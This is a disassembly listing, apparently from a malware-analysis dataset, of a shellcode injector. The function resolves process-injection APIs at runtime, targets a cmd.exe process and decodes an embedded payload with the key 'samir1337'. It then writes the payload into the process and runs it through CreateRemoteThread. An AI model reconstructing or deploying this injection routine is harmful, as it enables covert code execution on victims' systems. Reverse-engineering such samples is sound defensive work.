Function at 0x140001460
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0xe8
mov rax, qword [0x1400321c0]
xor rax, rsp
mov qword [rsp + 0xd0], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x1400014b0
lea rdx, str.Failed_to_load_kernel32.dll_n
lea rcx, [0x140033490]
call fcn.140001900
mov eax, 1
jmp 0x140001871
lea rdx, str.OpenProcess
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x80], rax
lea rdx, str.VirtualAllocEx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x88], rax
lea rdx, str.WriteProcessMemory
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x90], rax
lea rdx, str.CreateRemoteThread
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x98], rax
lea rdx, [0x1400234a0]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
lea rdx, str.WaitForSingleObject
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xa0], rax
cmp qword [rsp + 0x80], 0
je 0x140001588
cmp qword [rsp + 0x88], 0
je 0x140001588
cmp qword [rsp + 0x90], 0
je 0x140001588
cmp qword [rsp + 0x98], 0
je 0x140001588
cmp qword [rsp + 0x50], 0
je 0x140001588
cmp qword [rsp + 0xa0], 0
jne 0x1400015a5
lea rdx, str.Failed_to_resolve_API_functions_n
lea rcx, [0x140033490]
call fcn.140001900
mov eax, 1
jmp 0x140001871
lea rax, str.cmd.exe
mov qword [rsp + 0xa8], rax
mov rcx, qword [rsp + 0xa8]
call fcn.1400013a0
mov dword [rsp + 0x68], eax
cmp dword [rsp + 0x68], 0
jne 0x1400015e9
lea rdx, str.Process_not_found._n
lea rcx, [0x140033350]
call fcn.140001900
mov eax, 1
jmp 0x140001871
mov r8d, dword [rsp + 0x68]
xor edx, edx
mov ecx, 0x1fffff
call qword [rsp + 0x80]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x140001626
lea rdx, str.Failed_to_open_process._n
lea rcx, [0x140033350]
call fcn.140001900
mov eax, 1
jmp 0x140001871
mov eax, dword [0x140032160]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, qword [rsp + 0x70]
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [rsp + 0x88]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140001685
lea rdx, str.Failed_to_allocate_memory_in_target_process._n
lea rcx, [0x140033350]
call fcn.140001900
mov rcx, qword [rsp + 0x40]
call qword [rsp + 0x50]
mov eax, 1
jmp 0x140001871
mov rcx, qword [rsp + 0x70]
call fcn.14000d2ec
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x1400016c2
lea rdx, str.Memory_allocation_failed._n
lea rcx, [0x140033350]
call fcn.140001900
mov rcx, qword [rsp + 0x40]
call qword [rsp + 0x50]
mov eax, 1
jmp 0x140001871
mov r8, qword [rsp + 0x70]
lea rdx, [0x140032010]
mov rcx, qword [rsp + 0x58]
call fcn.140020dc0
nop
lea rdx, str.samir1337
lea rcx, [rsp + 0xb0]
call fcn.140002510
mov qword [rsp + 0x20], 0x10
lea r9, section..data
lea r8, [rsp + 0xb0]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x58]
call fcn.140001230
lea rcx, [rsp + 0xb0]
call fcn.140002d00
nop
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x70]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x40]
call qword [rsp + 0x90]
test eax, eax
jne 0x140001793
lea rdx, str.Failed_to_write_memory_in_target_process._n
lea rcx, [0x140033350]
call fcn.140001900
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x40]
call qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call fcn.14000d2d8
mov eax, 1
jmp 0x140001871
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x60]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [rsp + 0x98]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
jne 0x140001816
lea rdx, str.Failed_to_create_remote_thread._n
lea rcx, [0x140033350]
call fcn.140001900
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x40]
call qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call fcn.14000d2d8
mov eax, 1
jmp 0x140001871
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x78]
call qword [rsp + 0xa0]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x78]
call qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
call qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call fcn.14000d2d8
lea rdx, str.Shellcode_injection_successful._n
lea rcx, [0x140033350]
call fcn.140001900
xor eax, eax
mov rcx, qword [rsp + 0xd0]
xor rcx, rsp
call fcn.140007340
add rsp, 0xe8
ret